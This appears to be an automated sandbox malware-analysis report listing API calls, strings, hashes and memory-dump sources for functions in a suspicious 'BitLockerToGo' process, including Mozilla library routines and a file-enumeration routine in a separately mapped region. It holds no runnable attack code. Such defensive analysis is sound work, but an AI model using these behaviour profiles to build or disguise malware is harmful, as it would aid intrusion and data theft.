getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CC857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CC857CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CC85D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC857C5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC85791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CC8584E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CC85717
MOZ_PROFILER_STARTUP, xrefs: 6CC855E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC8548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CC85C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CC85B38
MOZ_BASE_PROFILER_HELP, xrefs: 6CC85511
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CC85D01
[I %d/%d] profiler_init, xrefs: 6CC8564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC854A3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC85724
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CC85749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC854B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CC856E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CC85D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC85766
GeckoMain, xrefs: 6CC85554, 6CC855D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CC857AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CC85BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CC85AC9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CC85D24
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CC85CF9

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: f37db7d73a36406b5007abe0915d03a317a5028f2ea5f8145054c7b6c0906b2c
Instruction ID: a369094a60de5fd97b2830d2d7775178e9d74a38b090ad5533970127e97ed143
Opcode Fuzzy Hash: f37db7d73a36406b5007abe0915d03a317a5028f2ea5f8145054c7b6c0906b2c
Instruction Fuzzy Hash: 2E2211B4A053009FFB009F64985866BBBF4EF4634CF04452AE86697B41FBB1C84ACB53

Function 6CC86C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CC86CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CC86D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CC86D26

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CC86D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CC86D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CC86D73
free.MOZGLUE(00000000), ref: 6CC86D80
CertGetNameStringW.CRYPT32 ref: 6CC86DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CC86DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC86DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CC86DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CC86E10
CryptMsgClose.CRYPT32(00000000), ref: 6CC86E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CC86E34
CreateFileW.KERNEL32 ref: 6CC86EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CC86F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC86F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CC8709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CC87103
free.MOZGLUE(00000000), ref: 6CC87153
CloseHandle.KERNEL32(?), ref: 6CC87176
__Init_thread_footer.LIBCMT ref: 6CC87209
__Init_thread_footer.LIBCMT ref: 6CC8723A
__Init_thread_footer.LIBCMT ref: 6CC8726B
__Init_thread_footer.LIBCMT ref: 6CC8729C
__Init_thread_footer.LIBCMT ref: 6CC872DC
__Init_thread_footer.LIBCMT ref: 6CC8730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CC873C2
VerSetConditionMask.NTDLL ref: 6CC873F3
VerSetConditionMask.NTDLL ref: 6CC873FF
VerSetConditionMask.NTDLL ref: 6CC87406
VerSetConditionMask.NTDLL ref: 6CC8740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC8741A
moz_xmalloc.MOZGLUE(?), ref: 6CC8755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC87568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CC87585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC87598
free.MOZGLUE(00000000), ref: 6CC875AC

Part of subcall function 6CCAAB89: EnterCriticalSection.KERNEL32(6CCFE370,?,?,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB94
Part of subcall function 6CCAAB89: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAABD1

Strings

SHA256, xrefs: 6CC86EC0
(, xrefs: 6CC8768A
wintrust.dll, xrefs: 6CC872CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CC872C8

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: bb18fad4bad43aef6b8583466ed6c6bfc5ee2785e929de4ef9439d5e51465af7
Instruction ID: 073c0f8e2e781be3d4553efccccce344c5ce93d8e38453d48c052f45ef8a5aa4
Opcode Fuzzy Hash: bb18fad4bad43aef6b8583466ed6c6bfc5ee2785e929de4ef9439d5e51465af7
Instruction Fuzzy Hash: 7852C4B1A012189FEB219F64DC84BAB7BB8FF46708F104199F519A7640FB70AE85CF51

Function 6CCB0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CCB0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CCB0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CCB0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CCB0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CCB1031
LeaveCriticalSection.KERNEL32(?), ref: 6CCB10D0
EnterCriticalSection.KERNEL32(?), ref: 6CCB117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CCB1C39
EnterCriticalSection.KERNEL32(6CCFE744), ref: 6CCB3391
LeaveCriticalSection.KERNEL32(6CCFE744), ref: 6CCB33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CCB3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCB3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CCB37A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CCB37BD
MOZ_CRASH(), xrefs: 6CCB3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CCB37D2
<jemalloc>, xrefs: 6CCB3941, 6CCB39F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CCB3793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CCB3A02
Compile-time page size does not divide the runtime one., xrefs: 6CCB3946
MALLOC_OPTIONS, xrefs: 6CCB35FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCB3559, 6CCB382D, 6CCB3848

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: aaff8192e60127980e8342012cebb2350fef1279c03e25da514a75f9cb6a88db
Instruction ID: d739de739412975674bdd00c636e27e34faebcd1c6914a6168340757178c63d4
Opcode Fuzzy Hash: aaff8192e60127980e8342012cebb2350fef1279c03e25da514a75f9cb6a88db
Instruction Fuzzy Hash: 50539C72A057018FD304CF6DC550616FBE1BF89328F29C66DE869AB791E771E842CB81

Function 6CCD34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD3EE2

Part of subcall function 6CCD6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CCD61DD
Part of subcall function 6CCD6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CCD622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD4157

Part of subcall function 6CCD6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CCD6250
Part of subcall function 6CCD6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCD6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CCD4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CCD484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CCD4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CCD4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CCD4896
free.MOZGLUE ref: 6CCD489F

Strings

, xrefs: 6CCD4CD2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 2d3974bef066973575abe39540f2cda2773d65d5217647b1cfcb06706ea182ee
Instruction ID: 3e55474c4b183a292525d3da12273474c2a300b678471a094c0bf4fa8317f18a
Opcode Fuzzy Hash: 2d3974bef066973575abe39540f2cda2773d65d5217647b1cfcb06706ea182ee
Instruction Fuzzy Hash: C9F23F74508B808FC765CF28C08469AFBF1FFCA354F158A5EDA9997711EB31A486CB42

Function 6CC864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CC864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CC864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CC86505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CC86518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CC8652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CC8671C
GetCurrentProcess.KERNEL32 ref: 6CC86724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CC8672F
GetCurrentProcess.KERNEL32 ref: 6CC86759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CC86764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CC86A80
GetSystemInfo.KERNEL32(?), ref: 6CC86ABE
__Init_thread_footer.LIBCMT ref: 6CC86AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC86AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC86AF7

Strings

_etoured.dll, xrefs: 6CC864ED
nvdxgiwrap.dll, xrefs: 6CC86513
user32.dll, xrefs: 6CC86526
nvd3d9wrap.dll, xrefs: 6CC86500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CC86798
detoured.dll, xrefs: 6CC864DA

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: d856067159371472e848ac31a26c2436b8de372dd7ce5d239327b1776ef818fc
Instruction ID: fa33a6e91d32d0b6e23bb288392569b0aa248be8a82ea226c1b99de7eb6cecdf
Opcode Fuzzy Hash: d856067159371472e848ac31a26c2436b8de372dd7ce5d239327b1776ef818fc
Instruction Fuzzy Hash: A5F1E4709166199FDB20CF24DC88BDABBB5AF4631CF144299D819A3781F731AE85CF90

Function 030138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 030138CC
FindFirstFileA.KERNEL32(?,?), ref: 030138E3
lstrcat.KERNEL32(?,?), ref: 03013935
StrCmpCA.SHLWAPI(?,03020F70), ref: 03013947
StrCmpCA.SHLWAPI(?,03020F74), ref: 0301395D
FindNextFileA.KERNEL32(000000FF,?), ref: 03013C67
FindClose.KERNEL32(000000FF), ref: 03013C7C

Strings

%s\%s, xrefs: 0301397A
%s\*, xrefs: 030138C0
%s%s, xrefs: 03013AAD
%s\%s\%s, xrefs: 03013A4A
%s\%s, xrefs: 03013A6F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 9a18c28beff2ce807e42f9ea49bf1b8a07ddb94f7ebeab7a059cf184c172c9f7
Instruction ID: 732f1ba2bf26aeab5539e18155200a921f6d7c367b4aaebb415999a1a6f97e49
Opcode Fuzzy Hash: 9a18c28beff2ce807e42f9ea49bf1b8a07ddb94f7ebeab7a059cf184c172c9f7
Instruction Fuzzy Hash: 36A143B9A413189BDB64EFA4DC88FEE737CBB84300F048588E60D9A144EB759B94CF51

Function 6CCDC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CCDC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CCDC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CCDC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CCDCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CCDDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CCDE472

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: f6a9bd4ef93fb1b0424ed592a75e1c8ce38e83ada8e4f7ef76ae70d51a1a2f5c
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: A5338E71E0021A8FCB14CF98C8806ADFBF2FF49314F1A4269DA55AB755E731B945CBA0

Function 6CC8FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCFE7B8), ref: 6CC8FF81
LeaveCriticalSection.KERNEL32(6CCFE7B8), ref: 6CC9022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CC90240
EnterCriticalSection.KERNEL32(6CCFE768), ref: 6CC9025B
LeaveCriticalSection.KERNEL32(6CCFE768), ref: 6CC9027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC90D67, 6CC90D7B, 6CC90DAC
<jemalloc>, xrefs: 6CC90D62, 6CC90D76, 6CC90DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC8FE99, 6CC8FEB7, 6CC8FED3, 6CC90DB8, 6CC90DD3, 6CC919B4

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: f4b70039af31c47af34831e4311753ad19352eb2adfd60e3534423a8762264a9
Instruction ID: 45ea70221fa4600cfe045fd8e0919109336664a38a278504f209c6ae81f9b90a
Opcode Fuzzy Hash: f4b70039af31c47af34831e4311753ad19352eb2adfd60e3534423a8762264a9
Instruction Fuzzy Hash: 11C2C071A057418FD714CF29C481716BBE1BF8A328F28C66DE8A98B795E771E841CB81

Function 6CCDE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CCDE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CCDEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCDF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CCDF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CCE0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CCE0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CCE0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CCE0ED4

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

